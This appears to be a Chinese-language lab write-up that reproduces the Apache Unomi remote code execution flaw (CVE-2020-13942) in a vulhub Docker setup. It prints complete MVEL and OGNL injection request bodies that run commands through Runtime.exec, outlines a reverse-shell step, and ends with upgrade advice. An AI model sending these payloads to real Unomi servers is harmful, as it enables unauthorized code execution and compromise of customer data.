0x00 簡介
Apache Unomi 是一個基于标準的客戶資料平台(CDP,Customer Data Platform),用于管理線上客戶和訪客等資訊,以提供符合訪客隐私規則的個性化體驗,比如 GDPR 和“不跟蹤”偏好設定。其最初于 Jahia 開發,2015 年 10 月送出給了 Apache 孵化器。Apache Unomi 具有隐私管理、使用者/事件/目标跟蹤、報告、訪客資料管理、細分、角色、A/B 測試等功能,它可以作為:Web CMS 個性化服務、原生移動應用的分析服務、具有分段功能的集中配置檔案管理系統、授權管理中心。
0x01 漏洞概述
Apache Unomi允許遠端攻擊者使用可能包含任意類的MVEL和OGNL表達式發送惡意請求,進而産生具有Unomi應用程式特權的遠端代碼執行(RCE)。
0x02 影響版本
Apache Unomi < 1.5.2
0x03 環境搭建
- 使用vulhub環境進行搭建
https://github.com/vulhub/vulhub/blob/master/unomi/CVE-2020-13942/
- 使用以下指令啟動環境
docker-compose up -d
3.docker ps 檢視運作安狀況
4.通路192.168.141.131:8181或者192.168.141.131:9443,即可搭建成功
0x04 漏洞複現
- 使用bp進行抓包,通過MVEL表達式執行任意指令
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/max\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
修改請求方式為 POST 在 /context.json 上進行
2.執行如下指令進入鏡像
docker exec -it a96ae81dab02 /bin/bash
此時可以看到指令已經被執行了
3.通過OGNL表達式執行任意指令
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/doublemax\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
使用Burpsuite發包
檢視目标系統,可以看到已經成功建立 doublemax 檔案
4.利用此漏洞反彈shell
監聽
反彈shell指令
經該網址
http://www.jackson-t.ca/runtime-exec-payloads.html
編碼後
将該指令作用到exec()函數上
使用 BurpSuite 發送即可擷取shell
0x05 防護建議
- 更新到安全版本https://unomi.apache.org/download.html
- 避免将關鍵資料作用到表達式中